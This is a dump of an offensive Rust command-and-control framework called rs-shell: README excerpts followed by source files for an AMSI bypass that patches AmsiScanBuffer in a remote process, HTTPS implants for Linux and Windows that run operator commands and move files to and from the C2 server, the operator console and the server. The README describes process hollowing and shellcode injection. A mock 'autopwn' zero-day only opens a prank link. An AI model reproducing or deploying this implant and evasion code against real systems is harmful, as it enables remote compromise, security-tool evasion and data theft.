you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc. On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*. `powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls. `download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory on the server. `upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written. `autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question. ## Todo - [x] Move all the Win32API related commands to the NTAPI with indirect syscalls - [ ] Implement other injection techniques - [ ] Implement a port forwarding solution - [x] Find a way to create a fully proxy aware client - [ ] Implement a reverse socks proxy feature ## Disclaimers This is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything. Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes. ## Acknowledgements * [OffensiveRust](https://github.com/winsecurity/Offensive-Rust) by [winsecurity](https://github.com/winsecurity). This project would never have existed without him. Many of functions, structures, and tricks present in `rs-shell` come from this project * [OffensiveRust](https://github.com/trickster0/OffensiveRust) by [trickster0](https://github.com/trickster0) * Multiple projects by [memN0ps](https://github.com/memN0ps) * [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod) * Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/) * [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust * [Actix](https://actix.rs/) web framework ================================================ FILE: src/amsi_bypass.rs ================================================ #![cfg(target_family = "windows")] use crate::utils::structures::{IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}; use crate::utils::tools_windows::*; use core::time; use regex::Regex; use std::error::Error; use std::ffi::c_void; use std::io::{BufReader, Read, Write}; //use std::mem::MaybeUninit; use std::process::Child; use std::sync::mpsc::{Receiver, Sender, TryRecvError}; use std::thread; use ntapi::ntapi_base::CLIENT_ID; use winapi::shared::ntdef::{HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, PVOID}; use winapi::um::winnt::{PAGE_EXECUTE_READ, PAGE_READWRITE}; use windows_sys::Win32::Foundation::CloseHandle; use windows_sys::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; use windows_sys::Win32::System::Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, Module32First, Module32Next, MODULEENTRY32, TH32CS_SNAPALL, }; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; use syscalls::syscall; static PATH_REGEX: &str = r#"PS (?(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?[^\/\\<>:"|?\n\r]*?)> "#; fn get_scan_buffer(amsiaddr: isize, phandle: *mut c_void, syscalls_value: bool) -> isize { let mut status: NTSTATUS; let mut buf: [u8; 64] = [0; 64]; unsafe { // Retrieves the DOS headers of amsi.dll if syscalls_value { status = syscall!( "NtReadVirtualMemory", phandle as *mut c_void, amsiaddr as *mut c_void, buf.as_mut_ptr() as *mut c_void, buf.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error reading target memory to retrieve the DOS headers: {:x}", status ); } } else { ReadProcessMemory( phandle, amsiaddr as *const c_void, buf.as_mut_ptr() as *mut c_void, 64, std::ptr::null_mut(), ); } let mut dos_head = IMAGE_DOS_HEADER::default(); fill_structure_from_array(&mut dos_head, &buf, syscalls_value); // Retrieves the NT headers of amsi.dll let mut nt_head = IMAGE_nt_headS64::default(); fill_structure_from_memory( &mut nt_head, (amsiaddr + dos_head.e_lfanew as isize) as *const c_void, phandle, syscalls_value, ); log::debug!( "NT headers: {:#x?}", nt_head.OptionalHeader.ExportTable.VirtualAddress ); // Parse all the DLL's exports and find the AmsiScanBuffer function let mut exports = IMAGE_EXPORT_DIRECTORY::default(); fill_structure_from_memory( &mut exports, (amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize) as *const c_void, phandle, syscalls_value, ); log::debug!("Exports: {:#x?}", exports); let mut i = 0; loop { let mut nameaddr: [u8; 4] = [0; 4]; if syscalls_value { status = syscall!( "NtReadVirtualMemory", phandle as *mut c_void, (amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *mut c_void, nameaddr.as_mut_ptr() as *mut c_void, nameaddr.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error reading target memory to retrieve the function: {:x}", status ); } } else { ReadProcessMemory( phandle, (amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *const c_void, nameaddr.as_mut_ptr() as *mut c_void, nameaddr.len(), std::ptr::null_mut(), ); } let num = u32::from_ne_bytes(nameaddr.try_into().unwrap()); let funcname = read_from_memory( (amsiaddr + num as isize) as *const c_void, phandle, syscalls_value, ); if funcname.trim_end_matches('\0') == "AmsiScanBuffer" { log::debug!("Name: {}", funcname); let mut ord: [u8; 2] = [0; 2]; if syscalls_value { status = syscall!( "NtReadVirtualMemory", phandle as *mut c_void, (amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2)) as *mut c_void, ord.as_mut_ptr() as *mut c_void, ord.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error reading target memory to retrieve the index number: {:x}", status ); } } else { ReadProcessMemory( phandle, (amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2)) as *const c_void, ord.as_mut_ptr() as *mut c_void, ord.len(), std::ptr::null_mut(), ); } let index = u16::from_ne_bytes(ord.try_into().unwrap()); log::debug!("Index: {}", index); let mut addr: [u8; 4] = [0; 4]; if syscalls_value { status = syscall!( "NtReadVirtualMemory", phandle as *mut c_void, (amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4)) as *mut c_void, addr.as_mut_ptr() as *mut c_void, addr.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error reading target memory to retrieve the index address: {:x}", status ); } } else { ReadProcessMemory( phandle, (amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4)) as *const c_void, addr.as_mut_ptr() as *mut c_void, addr.len(), std::ptr::null_mut(), ); } let addrindex = u32::from_ne_bytes(addr.try_into().unwrap()); log::debug!("Index addr: {}", addrindex); return amsiaddr + addrindex as isize; } i += 1; if i >= exports.NumberOfNames as isize { break; } } return 0; } } pub fn patch_amsi(pid: u32, syscalls_value: bool) { unsafe { // Start PowerShell process //let mut lpStartupInfo: STARTUPINFOA = std::mem::zeroed(); //let mut lpProcessInformation: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed(); /*CreateProcessA( "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0".as_ptr() as *const u8, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), 0, CREATE_NO_WINDOW, std::ptr::null_mut(), std::ptr::null_mut(), &mut lpStartupInfo as *mut STARTUPINFOA, &mut lpProcessInformation as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION, );*/ let mut new_handle = pid as HANDLE; let mut status: NTSTATUS; if syscalls_value { let object_attr = OBJECT_ATTRIBUTES::default(); let client_id: CLIENT_ID = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: 0 as _, }; status = syscall!( "NtOpenProcess", &mut new_handle, PROCESS_ALL_ACCESS, &object_attr, &client_id ); if !NT_SUCCESS(status) { log::debug!("Error openning target process: {:x}", status); } } else { new_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) as *mut c_void; } //Wait for the process to totally load before the snap std::thread::sleep(time::Duration::from_secs(2)); let snap_handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, pid); // Initialization let mut first_mod: MODULEENTRY32 = std::mem::zeroed(); first_mod.dwSize = std::mem::size_of::() as u32; Module32First(snap_handle, &mut first_mod as *mut MODULEENTRY32); let _modulname = string_from_array( &mut first_mod .szModule .to_vec() .iter() .map(|&x| x as u8) .collect(), ); log::debug!("Module name: {:?}", _modulname); // Search for the amsi.dll module in the PowerShell process memory let mut amsiaddr: isize = 0; loop { let mut next_mod: MODULEENTRY32 = std::mem::zeroed(); next_mod.dwSize = std::mem::size_of::() as u32; let res_next = Module32Next(snap_handle, &mut next_mod as *mut MODULEENTRY32); let next_module = string_from_array( &mut next_mod .szModule .to_vec() .iter() .map(|&x| x as u8) .collect(), ); log::debug!("Next module: {:?}", next_module); if next_module == "amsi.dll" { amsiaddr = next_mod.modBaseAddr as isize; break; } if res_next != 1 { break; } } log::debug!("Amsi base addr: {:x?}", amsiaddr); let mut scanbuffer_addr = get_scan_buffer(amsiaddr, new_handle, syscalls_value) as *mut c_void; log::debug!("AmsiScanBuffer base addr: {:x?}", scanbuffer_addr); // mov rax, 1 // ret let mut patch: [u8; 8] = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3]; if syscalls_value { let mut save_addr: PVOID = scanbuffer_addr; let mut old_perms = PAGE_EXECUTE_READ; status = syscall!( "NtProtectVirtualMemory", new_handle, &mut scanbuffer_addr, &mut patch.len(), PAGE_READWRITE, &mut old_perms ); if !NT_SUCCESS(status) { log::debug!("Error changing memory permissions: {:x}", status); } status = syscall!( "NtWriteVirtualMemory", new_handle, save_addr, patch.as_mut_ptr() as *mut c_void, patch.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error patching target process: {:x}", status); } status = syscall!( "NtProtectVirtualMemory", new_handle, &mut save_addr, &mut patch.len(), old_perms, &mut old_perms ); if !NT_SUCCESS(status) { log::debug!("Error rollback memory permissions: {:x}", status); } } else { WriteProcessMemory( new_handle, scanbuffer_addr, patch.as_ptr() as *const c_void, patch.len(), std::ptr::null_mut(), ); } CloseHandle(new_handle); } } pub fn start_process_thread( child: &mut Child, sender: Sender, receiver: Receiver, ) -> Result<(), Box> { let mut stdin = child.stdin.take().unwrap(); let stdout = child.stdout.take().unwrap(); let path_regex = Regex::new(PATH_REGEX).unwrap(); thread::spawn(move || { let mut f = BufReader::new(stdout); let mut buff_to_send: [u8; 4096]; loop { buff_to_send = [0; 4096]; match f.read(&mut buff_to_send) { Ok(_) => { /* Here we stop reading PowerShell output with a regex that matches the PS line waiting for user input "PS >" - Is it crappy ? Yes - Is there a better solution ? Yeah, probably - Have I tried other solutions ? Yes, like searching for an EOF like or identifying the PowerShell thread waiting for UserRequest, but none has been successfull - What can you do to make the world a better place ? Make a PR :) */ while !path_regex.is_match( String::from_utf8_lossy(&buff_to_send) .trim_end_matches("\0") .to_string() .as_str(), ) { sender .send(String::from_utf8_lossy(&buff_to_send).to_string()) .expect("Thread send error"); buff_to_send = [0; 4096]; match f.read(&mut buff_to_send) { Ok(_) => (), Err(r) => { sender .send( "Error reading output from stdout: ".to_string() + &r.to_string(), ) .unwrap(); sender.send("EndOfOutput".to_string()).unwrap(); break; } } } sender .send(String::from_utf8_lossy(&buff_to_send).to_string()) .unwrap(); sender.send("EndOfOutput".to_string()).unwrap(); } Err(r) => { log::debug!("{:?}", r); sender .send("Error reading output from stdout: ".to_string() + &r.to_string()) .unwrap(); sender.send("EndOfOutput".to_string()).unwrap(); continue; } } loop { match receiver.try_recv() { Ok(command) => match stdin.write_all(command.as_bytes()) { Ok(_) => break, Err(r) => { log::debug!("Error sending command to stdin: {:?}", r); sender .send( "Error sending command to stdin: ".to_string() + &r.to_string(), ) .unwrap(); sender.send("EndOfOutput".to_string()).unwrap(); continue; } }, Err(TryRecvError::Empty) => { continue; } Err(r) => { log::debug!("Thread recv error: {:?}", r); sender .send("Error reading command: ".to_string() + &r.to_string()) .unwrap(); sender.send("EndOfOutput".to_string()).unwrap(); continue; } } } } }); Ok(()) } ================================================ FILE: src/autopwn.rs ================================================ use core::time; pub fn autopwn() { log::info!("Searching for the base addr..."); std::thread::sleep(time::Duration::from_secs(1)); log::info!("Locating the buffer..."); std::thread::sleep(time::Duration::from_millis(500)); log::info!("Exploiting null-byte poisoning..."); std::thread::sleep(time::Duration::from_secs(1)); log::info!("Using meaning of life to overlap the chunk..."); std::thread::sleep(time::Duration::from_secs(1)); open::that("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1").unwrap(); log::error!("Now read the code before launching any command from an unknown project"); } ================================================ FILE: src/https/https_linux_implant.rs ================================================ use reqwest::{blocking::multipart, blocking::Client}; use std::fs::File; use std::io::Write; use std::{error::Error, path::Path, process::Command}; use std::{thread, time}; fn do_stuff(cmd: &str) -> Vec { let exec = Command::new("/bin/bash") .args(["-c", cmd.trim_end_matches("\r\n")]) .output() .unwrap(); let stdo = exec.stdout.as_slice(); let _stdr = exec.stderr.as_slice(); if _stdr.is_empty() { stdo.to_vec() } else { _stdr.to_vec() } } pub fn implant(ip: &str) -> Result<(), Box> { // HTTPS implant without certificate verification let client = Client::builder() .danger_accept_invalid_certs(true) .build()?; let mut url = format!("https://{}/rs-shell/index", ip); // Connect to the server and get the banner let mut response = client.get(url).send()?; if response.status().is_success() { log::debug!("Session initialized"); let os = std::env::consts::FAMILY; url = format!("https://{}/rs-shell/os", ip); response = client.post(url).body(os).send()?; if response.status().is_success() { log::debug!("OS send"); } else { log::debug!("HTTP error: {}", response.status()); } loop { // Get the next task url = format!("https://{}/rs-shell/next_task", ip); response = client.get(url).send()?; if response.status().is_success() { let res = response.text()?.to_string(); log::debug!("Task: {}", res); let (cmd, value) = match res.split_once(':') { Some((cmd, value)) => (cmd, value), None => (res.as_str(), ""), }; match cmd { "cmd" => { let res_cmd = do_stuff(value); log::debug!("{}", String::from_utf8_lossy(&res_cmd)); url = format!("https://{}/rs-shell/receive_output", ip); response = client.post(url).body(res_cmd).send()?; if response.status().is_success() { log::debug!("Command executed"); } else { log::debug!("HTTP error: {}", response.status()); } } "upload" => { let url = format!("https://{}/rs-shell/upload{}", ip, value); let response = client.get(url).send()?; if response.status().is_success() { let path = Path::new(value.trim()); File::create(path.file_name().unwrap().to_str().unwrap()) .unwrap() .write_all(response.bytes().unwrap().to_vec().as_slice())?; log::debug!("Uploaded file into ./"); } else { log::debug!("HTTP error uploading file: {}", response.status()); } } "download" => { let url = format!("https://{}/", ip); match multipart::Form::new().file("file", value.trim_end_matches("\n")) { Ok(form) => { response = client.post(url).multipart(form).send()?; if response.status().is_success() { log::debug!("Downloaded file: {}", value); } else { log::debug!( "HTTP error downloading file: {}", response.status() ); } } Err(e) => log::debug!("Error: {}", e), } } "No task" => { log::debug!("No task"); } "exit" | "quit" => { log::debug!("Exiting..."); break; } _ => log::debug!("Unknown command"), } } else { log::debug!("Error obtaining new task: {}", response.status()); continue; } // For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value // Or setup an option to change it via the CLI thread::sleep(time::Duration::from_secs(2)); } } else { log::debug!("RS-Shell server cannot be reached: {}", response.status()); } Ok(()) } ================================================ FILE: src/https/https_operator.rs ================================================ use reqwest::{blocking::multipart, blocking::Client}; use std::{ error::Error, io::{self, Write}, path::Path, }; use crate::autopwn; pub fn operator(ip_addr: &str) -> Result<(), Box> { // HTTPS client without certificate verification let client = Client::builder() .danger_accept_invalid_certs(true) .build()?; let mut url = format!("https://{}/rs-shell/index", ip_addr); // Connect to the server and get the banner let mut response = client.get(url).send()?; if response.status().is_success() { let body = response.text()?; println!("{}", body); log::info!("[+] Connection success to {} ! BANG BANG !", ip_addr); log::info!("[+] This shell is yours !"); log::info!("[+] Type 'help' for advanced integrated commands"); // Retrieve the implant's OS let mut _implant_os = String::new(); url = format!("https://{}/rs-shell/upload./os.txt", ip_addr); response = client.get(url).send()?; if response.status().is_success() { _implant_os = response.text()?; log::info!("[+] Implant's OS family is {}", _implant_os) } else { _implant_os = "undefined".to_string(); log::warn!("Cannot read implant OS : {}", response.status()); } // Ctrl+C handler to avoid kill the shell by error ctrlc::set_handler(move || { println!( "Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually." ); }) .expect("Error setting Ctrl-C handler"); // Command loop loop { print!("> "); io::stdout().flush().unwrap(); let mut cmd = String::new(); io::stdin().read_line(&mut cmd).expect("[-] Input issue"); cmd = cmd.trim_end().to_string(); // Check for help command if cmd.as_str().starts_with("help") { println!("{}", https_help()); continue; } // Cmd handling if cmd.trim_end().ne("") { // Check for download/upload commands if cmd.as_str().starts_with("download") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 2 { log::warn!( "Invalid argument number. Usage is : download C:\\file\\to\\download" ); } else { url = format!("https://{}/rs-shell/operator_cmd", ip_addr); log::info!("Downloading file : {}", path[1]); response = client .post(url) .body(format!("download:{}", path[1])) .send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } continue; } else if cmd.as_str().starts_with("upload") { let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 2 { log::warn!( "Invalid argument number. Usage is : upload C:\\file\\to\\upload" ); } else { log::info!("Uploading file : {}", path[1]); /* Uploading file on the server before uploading it on the target machine To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file) */ url = format!("https://{}/", ip_addr); match multipart::Form::new() .file("file", path[1].trim_end_matches("\r\n\0")) { Ok(form) => { response = client.post(url).multipart(form).send()?; if response.status().is_success() { let filename = Path::new(path[1].trim()) .file_name() .unwrap() .to_str() .unwrap(); let file_path = format!("./downloads/{}", filename); url = format!("https://{}/rs-shell/operator_cmd", ip_addr); response = client .post(url) .body(format!("upload:{}", file_path)) .send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } } Err(e) => log::debug!("Error: {}", e), } } continue; } else if cmd.as_str().starts_with("load -h") || cmd.as_str().starts_with("load -s") || cmd.as_str().starts_with("syscalls -h") || cmd.as_str().starts_with("syscalls -s") { if _implant_os.ne("windows") { log::warn!( "Client's OS is not Windows, this command doesn't make any sense" ); continue; } let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 4 { log::warn!("Invalid argument number. Usage is : {} -h|-s C:\\path\\to\\file_to_inject C:\\path\\to\\process_to_start", path[0]); } else { // In case of shellcode injection, the implant will load it from the server and execute it without touching the disk // So we need to upload the shellcode file on the server first if cmd.as_str().starts_with("load -s") || cmd.as_str().starts_with("syscalls -s") { log::info!( "Sending shellcode file {:?} to the server", path[1].trim_end_matches("\r\n\0") ); /* Uploading shellcode file on the server To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file) */ url = format!("https://{}/", ip_addr); match multipart::Form::new() .file("file", path[2].trim_end_matches("\r\n\0")) { Ok(form) => { response = client.post(url).multipart(form).send()?; if response.status().is_success() { log::info!("Shellcode file uploaded in the 'downloads' directory on the server"); let filename = Path::new(path[2].trim()) .file_name() .unwrap() .to_str() .unwrap(); let file_path = format!("./downloads/{}", filename); // Sending the command to the implant url = format!("https://{}/rs-shell/operator_cmd", ip_addr); log::info!( "Loading shellcode into a remote process memory" ); response = client .post(url) .body(format!( "{} {}:{} {}", path[0], path[1], file_path, path[3] )) .send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } else { log::error!("RS-Shell error: {}", response.status()); } } Err(e) => log::debug!("Error: {}", e), } } else { // In case of PE injection with process hollowing url = format!("https://{}/rs-shell/operator_cmd", ip_addr); log::info!("Loading {} into {}", path[0], path[1]); response = client .post(url) .body(format!("{} {}:{} {}", path[0], path[1], path[2], path[3])) .send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } } continue; } else if cmd.as_str().starts_with("load ") || cmd.as_str().starts_with("syscalls ") { if _implant_os.ne("windows") { log::warn!( "Client's OS is not Windows, this command doesn't make any sense" ); continue; } let path: Vec<&str> = cmd.split(' ').collect(); if path.len() != 2 { log::warn!( "Invalid argument number. Usage is : {} C:\\path\\to\\file_to_inject", path[0] ); } else { log::info!("Loading PE into the implant memory"); url = format!("https://{}/rs-shell/operator_cmd", ip_addr); response = client .post(url) .body(format!("{}:{}", path[0], path[1])) .send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } continue; } else if cmd.as_str().starts_with("autopwn") { print!("What is the meaning of life ? "); io::stdout().flush().unwrap(); let mut life = String::new(); io::stdin().read_line(&mut life).expect("[-] Input issue"); if life .trim_end_matches('\0') .trim_end() .eq_ignore_ascii_case("42") { autopwn::autopwn(); } continue; } else if cmd.as_str().trim_end() == "exit" || cmd.as_str().trim_end() == "quit" { url = format!("https://{}/rs-shell/operator_cmd", ip_addr); response = client.post(url).body(cmd).send()?; if response.status().is_success() { let body = response.text()?; log::info!("{}", body); println!("[+] Goodbye my friend <3"); } break; } else { // To run a cmd command url = format!("https://{}/rs-shell/operator_cmd", ip_addr); response = client.post(url).body(format!("cmd:{}", cmd)).send()?; if response.status().is_success() { let body = response.text()?; log::debug!("{}", body); // Retrieve the output url = format!("https://{}/rs-shell/wait_for_output", ip_addr); response = client.get(url).send()?; if response.status().is_success() { let body = response.text()?; println!("{}", body); } else { log::error!("RS-Shell error: {}", response.status()); } } else { log::error!("RS-Shell error: {}", response.status()); } } } } } else { log::error!("RS-Shell server cannot be reached: {}", response.status()); } Ok(()) } fn https_help() -> String { "[+] Custom integrated commands : [+] Loading commands > load C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it. This will kill the implant ! > load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it > load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it [+] Loading commands with indirect syscalls > syscalls C:\\path\\to\\PE_to_load load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell ! > syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls > syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls [+] Network commands > download C:\\file\\to\\download download a file from the remote system and store it on the server > upload C:\\local\\file\\to\\upload upload a file from the operator machine to the remote system [+] Special commands > autopwn escalate to the SYSTEM or root account from any local account by exploiting a zero day ".to_string() } ================================================ FILE: src/https/https_server.rs ================================================ use actix_multipart::form::tempfile::TempFileConfig; use actix_web::http::KeepAlive; use actix_web::{App, HttpServer, middleware, web}; use std::fs::File; use std::io::BufReader; use std::sync::Arc; use crate::https::routes::*; #[actix_web::main] pub async fn server(i: &str, cert_path: &str, tls_key: &str) -> std::io::Result<()> { rustls::crypto::ring::default_provider(); // Rustls doen't seem to support PKCS12 currently, so we need to use PEM let mut certs_file = BufReader::new(File::open(cert_path).unwrap()); let mut key_file = BufReader::new(File::open(tls_key).unwrap()); // to create a self-signed temporary cert for testing: // `openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'` let tls_certs = rustls_pemfile::certs(&mut certs_file) .collect::, _>>() .unwrap(); let tls_key = rustls_pemfile::pkcs8_private_keys(&mut key_file) .next() .unwrap() .unwrap(); // set up TLS config options let tls_config = rustls::ServerConfig::builder() .with_no_client_auth() .with_single_cert(tls_certs, rustls::pki_types::PrivateKeyDer::Pkcs8(tls_key)) .unwrap(); log::info!("Creating directories and files"); std::fs::create_dir_all("./downloads")?; std::fs::create_dir_all("./tmp")?; let state = Arc::new(AppState::new()); let port = 443; HttpServer::new(move || { let data = web::Data::new(state.clone()); App::new() .wrap(middleware::Logger::default()) .app_data(TempFileConfig::default().directory("./tmp")) .app_data(data) /* Using routes instead of services with a scope and macros, because file upload with multipart data seems bugged with scopes Additionally, it looks like it is only possible to send multipart request to the root of the app, which must be declared as a service with a resource If someone knows how to fix this, please let me know */ .service(web::resource("/").route(web::post().to(download))) .route("/rs-shell/index", web::get().to(index)) .route("/rs-shell/next_task", web::get().to(next_task)) .route( "/rs-shell/shellcode{shellcode:.*}", web::get().to(shellcode), ) .route("/rs-shell/wait_for_output", web::get().to(wait_for_output)) .route("/rs-shell/upload{filename:.*}", web::get().to(upload)) .route("/rs-shell/receive_output", web::post().to(receive_output)) .route("/rs-shell/operator_cmd", web::post().to(operator_cmd)) .route("/rs-shell/os", web::post().to(implant_os)) }) .bind_rustls_0_22((i, port), tls_config)? .keep_alive(KeepAlive::Os) .run() .await } ================================================ FILE: src/https/https_windows_implant.rs ================================================ use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode}; use std::error::Error; use std::ffi::c_void; use std::ffi::CString; use std::fs::File; use std::io::{self, BufReader, Read, Write}; use std::path::Path; use std::process::Command; use std::ptr::null_mut; use std::{thread, time}; use windows_sys::Win32::Foundation::GetLastError; use windows_sys::Win32::Networking::WinHttp::{ INTERNET_DEFAULT_HTTPS_PORT, SECURITY_FLAG_IGNORE_UNKNOWN_CA, }; use windows_sys::Win32::Networking::WinInet::{ HttpOpenRequestA, HttpSendRequestA, InternetCloseHandle, InternetConnectA, InternetErrorDlg, InternetOpenA, InternetReadFile, InternetSetOptionA, ERROR_INTERNET_FORCE_RETRY, FLAGS_ERROR_UI_FILTER_FOR_ERRORS, FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS, FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NEED_FILE, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD, INTERNET_FLAG_SECURE, INTERNET_OPEN_TYPE_PRECONFIG, INTERNET_OPTION_SECURITY_FLAGS, INTERNET_SERVICE_HTTP, SECURITY_FLAG_IGNORE_WRONG_USAGE, }; use windows_sys::Win32::System::Console::GetConsoleWindow; fn init_session(ip: &str, url: &str) -> Result<(*mut c_void, *mut c_void), io::Error> { // Standard user agent setup, can be changed to a custom one let user_agent_cstring = CString::new("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36").unwrap(); let user_agent = user_agent_cstring.as_ptr() as *const u8; unsafe { // The flag 'INTERNET_OPEN_TYPE_PRECONFIG' permits to find proxy configurations in the registry let h_internet = InternetOpenA( user_agent, INTERNET_OPEN_TYPE_PRECONFIG, null_mut(), null_mut(), 0, ); if h_internet.is_null() { return Err(io::Error::last_os_error()); } let ip_cstring = CString::new(ip).unwrap(); let ip = ip_cstring.as_ptr() as *const u8; let h_connect = InternetConnectA( h_internet, ip, INTERNET_DEFAULT_HTTPS_PORT, null_mut(), null_mut(), INTERNET_SERVICE_HTTP, 0, 0, ); if h_connect.is_null() { InternetCloseHandle(h_internet); return Err(io::Error::last_os_error()); } let http_verb = "GET"; make_request(h_connect, url, http_verb, null_mut(), 0, false)?; Ok((h_internet, h_connect)) } } unsafe fn make_request( h_connect: *mut c_void, url: &str, http_verb: &str, data: *mut c_void, data_len: u32, download: bool, ) -> io::Result> { let http_verb_cstring = CString::new(http_verb).unwrap(); let http_verb = http_verb_cstring.as_ptr() as *const u8; let url_cstring = CString::new(url).unwrap(); let url = url_cstring.as_ptr() as *const u8; unsafe { // The flag 'INTERNET_FLAG_KEEP_CONNECTION' permits to handle authentication let h_request = HttpOpenRequestA( h_connect, http_verb, url, null_mut(), null_mut(), null_mut(), INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NEED_FILE | INTERNET_FLAG_NO_CACHE_WRITE, 0, ); if h_request.is_null() { return Err(io::Error::last_os_error()); } // Flags to ignore certificate errors let mut flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WRONG_USAGE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; InternetSetOptionA( h_request, (INTERNET_OPTION_SECURITY_FLAGS as i32).try_into().unwrap(), &mut flags as *mut _ as *mut c_void, std::mem::size_of_val(&flags) as u32, ); loop { if download { let headers = CString::new("Content-Type: multipart/form-data; boundary=---------------------------345495480920487783503652546823").unwrap(); let success = HttpSendRequestA( h_request, headers.as_ptr() as *const u8, -1isize as u32, data, data_len, ); if success == 0 { InternetCloseHandle(h_request); return Err(io::Error::last_os_error()); } } else { let success = HttpSendRequestA(h_request, null_mut(), 0, data, data_len); if success == 0 { log::debug!("HttpSendRequestA error: {}", io::Error::last_os_error()); InternetCloseHandle(h_request); return Err(io::Error::last_os_error()); } } // Check the errors and if the request requires authentication let dw_error_code = GetLastError(); let hwnd = GetConsoleWindow(); let dw_error = InternetErrorDlg( hwnd, h_request, dw_error_code, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS 